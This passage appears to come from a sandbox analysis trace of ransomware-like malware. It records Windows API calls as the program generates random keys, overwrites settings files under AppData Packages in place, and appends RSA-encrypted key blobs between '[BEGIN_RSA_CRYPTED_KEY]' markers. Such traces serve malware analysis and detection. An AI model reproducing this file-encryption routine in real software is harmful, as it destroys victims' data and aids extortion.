lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.230] CloseHandle (hObject=0xcc8) returned 1 [0196.231] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.231] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0196.231] ReadFile (in: hFile=0xcc8, lpBuffer=0x59d290, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d290*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.232] SetFilePointer (in: hFile=0xcc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.232] WriteFile (in: hFile=0xcc8, lpBuffer=0x59d320*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.232] SetFilePointer (in: hFile=0xcc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0196.232] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.232] WriteFile (in: hFile=0xcc8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.233] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.233] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.233] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.233] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="KlhN2Rx8kkEBm8m8GYoGO5QiFg3jIgjZPfApRSmCEX2POZ3G5RG2kcxtvurW5RKc\nvDNtfP2shtoJ6zKLhHcmuvoBM43u0C1/a64DjfY9rlERvSdmzKIlELLYXXbDsVHL\nLuT/Zkqg5JwA4BOvQXQnF4tcSDms4O5lEr2QqGpMA0q7K3ByuGCmQkN7D+Yl4Svr\n/KpcLLfJE+s4RZSUMIPQQWpATIivuk+4YOcU+WHJxEMEDrdSe+cijhJqlcbOHYU6\nK2TXY+oB7zSG8y5eCj7CaUotlDVzSHkTAHhsqOB7+FGwypxWV3F0tHOB+z7e6Oqj\nqa16xVK9Abt4UzRfu+1OqA==\n", pcchString=0x2e3f9a8) returned 1 [0196.233] WriteFile (in: hFile=0xcc8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.233] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.233] WriteFile (in: hFile=0xcc8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.233] CloseHandle (hObject=0xcc8) returned 1 [0196.236] WriteFile (in: hFile=0xcd4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.237] CloseHandle (hObject=0xcd4) returned 1 [0196.237] WriteFile (in: hFile=0xcd4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.239] CloseHandle (hObject=0xcd4) returned 1 [0196.239] WriteFile (in: hFile=0xcd4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.240] CloseHandle (hObject=0xcd4) returned 1 [0196.241] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.241] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0196.242] ReadFile (in: hFile=0xce8, lpBuffer=0x59d1c0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.242] SetFilePointer (in: hFile=0xce8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.242] WriteFile (in: hFile=0xce8, lpBuffer=0x59d390*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d390*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.242] SetFilePointer (in: hFile=0xce8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0196.242] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.242] WriteFile (in: hFile=0xce8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.243] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.243] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.243] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.243] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mwmKV3bARCYC9GfMDtsycOmt9UAvbSv9oNRtBsOMoUZddPFgN8FqzK2iP+T0OSVw\njMUjGtvd8TLEeD3v3TF18OiwZYxJhl1x94Y9NhcUe/RayLsDyhYnZD2ksShuidAq\nubheKqNhrTkDquMeW0enjkLgp77nkZAyWrjzqZEEkWodh+3mfnKWrZ0t8KCGaUYx\nu3VoiPoPtkqY4F2nIdK5VFGknECbUXtfbvgE71lrnhcwvXeJ/lLnDjQRru0O29BH\nUdBQxNsjWl0NyKnDHKTsUlRkhLqSDRwEAh1mOHuM8c79eIgk31h6NW8L+fCsv0Ji\nzJcCDlVOvuv8cOpEehwzHQ==\n", pcchString=0x2e3f9a8) returned 1 [0196.243] WriteFile (in: hFile=0xce8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.244] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.244] WriteFile (in: hFile=0xce8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.244] CloseHandle (hObject=0xce8) returned 1 [0196.246] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.246] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0196.246] ReadFile (in: hFile=0xce8, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.252] SetFilePointer (in: hFile=0xce8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.252] WriteFile (in: hFile=0xce8, lpBuffer=0x2f938d8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.252] SetFilePointer (in: hFile=0xce8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0196.253] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.253] WriteFile (in: hFile=0xce8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.253] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.253] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.253] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.253] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="80pgFxB0G6QcFNOtXxcTA8aDcJJ6DCsDx8WYNgZAgBEHmYpIprjd+krUulLFfvsG\n/gmdlAd25HVOaU1u6niy/m8gGEA38Ym/IwdZYzA/N3j54wi3OsqGz6iHnYdr8cjg\nUZz74L6k08zl9jrxsDPwFgU/rBtZdo/3nxZ7PaTu8Ypd58orxV5Up2fvpa5xfObl\nX9LzO5rAenRa8N7FmXzTfd6/MoOx4TLRBXO+V20cfRt3t2k0XkeDpUC5BV/8UZtK\n1fHzjNw/8yUfBVs9KvvRMmeR6cJObX/PgdAjuBApzwZf5rY0yJNFYcPleJYGQXXu\nOuc+8rA3uppMk48kDQCTCQ==\n", pcchString=0x2e3f9a8) returned 1 [0196.253] WriteFile (in: hFile=0xce8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.254] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.254] WriteFile (in: hFile=0xce8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.254] CloseHandle (hObject=0xce8) returned 1 [0196.255] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.255] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0196.256] ReadFile (in: hFile=0xce8, lpBuffer=0x2f938d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.275] SetFilePointer (in: hFile=0xce8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.275] WriteFile (in: hFile=0xce8, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.276] SetFilePointer (in: hFile=0xce8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0196.276] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.276] WriteFile (in: hFile=0xce8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.277] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.277] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.277] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.277] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="G4tXvGFTFfPicG87JRBSq0dMxMF3fVAImbe4DXV1O3M5Ey4vzmY7G5wcnZlEqp+F\nzYdKwMEwdOxkuA39SNCvPxiuPumHnYpqpoDGOtjk3Why+rpR2GgeVKOcHqJ+dQOL\nRdTNZ6bYxNkWcLuRl5VEuiqIQ/wLyZO/9ZJwbl6duK5zH90IAYCR8fhJj/8EoKWm\nWA+ANkN1JfEITVSo+ux2QP6rnEtfoKws9jm/xjD2VKxcFXsyWB9Rk/+vDNnUlIf+\n5FBGPo+UWjHwlu7pq3529E/X4r1k3QlTNbPTIdj8RjyWfSawZzQz9c9abMAGXCyZ\nRYpxf/CwQwaMs6BdeppKWQ==\n", pcchString=0x2e3f9a8) returned 1 [0196.277] WriteFile (in: hFile=0xce8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.277] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.278] WriteFile (in: hFile=0xce8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.278] CloseHandle (hObject=0xce8) returned 1 [0196.280] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.280] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0196.280] ReadFile (in: hFile=0xce8, lpBuffer=0x59d390, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d390*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.280] SetFilePointer (in: hFile=0xce8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.280] WriteFile (in: hFile=0xce8, lpBuffer=0x59d1d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.280] SetFilePointer (in: hFile=0xce8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0196.280] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.280] WriteFile (in: hFile=0xce8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.281] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.282] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.282] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.282] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="WupZCyoxJXUBPOgL0zWSs4gX4c19cf8FQystyAEjUiGJcYqllL+1VnL6N8qhPA+q\nqhnvd/2lFIti1Q+uSKTkZQ9U8+/cqO8i8scZZFlZMxTLrkAkH9TSVT4INg1olwJ9\nnl+Bmb5ZRKKayIOCoiuXK7LIaCEI8w7PQT2xBKUuPvSV8Byh1i04v33kx2ogDXv1\ndYVO4r9E2MvzuwH+2/nDmsWFe7aie/Og3axiYG+aLRVuF4WGlt0cInlZsoGks3YY\noMCVM5cMrD9eK+NiQ+CcUACFRzwISEL9cTg/8GHVY+lqpd3OKSgY6i30XsOxPDNo\nfBsOZapT7dNXBm48+EVmAg==\n", pcchString=0x2e3f9a8) returned 1 [0196.282] WriteFile (in: hFile=0xce8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.282] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.282] WriteFile (in: hFile=0xce8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.282] CloseHandle (hObject=0xce8) returned 1 [0196.286] WriteFile (in: hFile=0xcf4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.287] CloseHandle (hObject=0xcf4) returned 1 [0196.288] WriteFile (in: hFile=0xcf4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.289] CloseHandle (hObject=0xcf4) returned 1 [0196.289] WriteFile (in: hFile=0xcf4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0196.290] CloseHandle (hObject=0xcf4) returned 1 [0196.290] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.291] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0196.291] ReadFile (in: hFile=0xd08, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.314] SetFilePointer (in: hFile=0xd08, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.314] WriteFile (in: hFile=0xd08, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.314] SetFilePointer (in: hFile=0xd08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0196.314] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.314] WriteFile (in: hFile=0xd08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.315] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.315] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.315] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.315] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="SEHHTABU9spZWeQDoPL5/bHFxQAWfjE30ZGfMcJwCzb2ZhwdmQ1xi1ZOcI0c3iOt\nDEHxGpwcOPMT2iEM48kkbatz0TpAtq2SNR+CW+bJZ1dHkx8jijMkDZG3Wi7TmUBQ\ndd6cJ7fT+i7uuA7oflWArmobsUHGNc6iB6lgtHA2r90ccA9Mxidswb+mve9MH+KY\n34UdONCh5hiM3lMJdvAzTkfNSMXymhVzUTu2M2EDqHnjCPp9M4EuUpZdwAhktfTo\n1XLedupOlCiSxWh+IntJcg8hC81rOR2LLkWutTc/KumkguZ4zA0u8yuikX7HtSNn\nnqbAiTtTly+aSYznP+gkig==\n", pcchString=0x2e3f9a8) returned 1 [0196.315] WriteFile (in: hFile=0xd08, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.316] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.316] WriteFile (in: hFile=0xd08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.316] CloseHandle (hObject=0xd08) returned 1 [0196.389] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.389] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0196.389] ReadFile (in: hFile=0xd08, lpBuffer=0x59d2f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.389] SetFilePointer (in: hFile=0xd08, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.389] WriteFile (in: hFile=0xd08, lpBuffer=0x59d390*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d390*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.390] SetFilePointer (in: hFile=0xd08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0196.390] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.390] WriteFile (in: hFile=0xd08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.391] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.391] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, 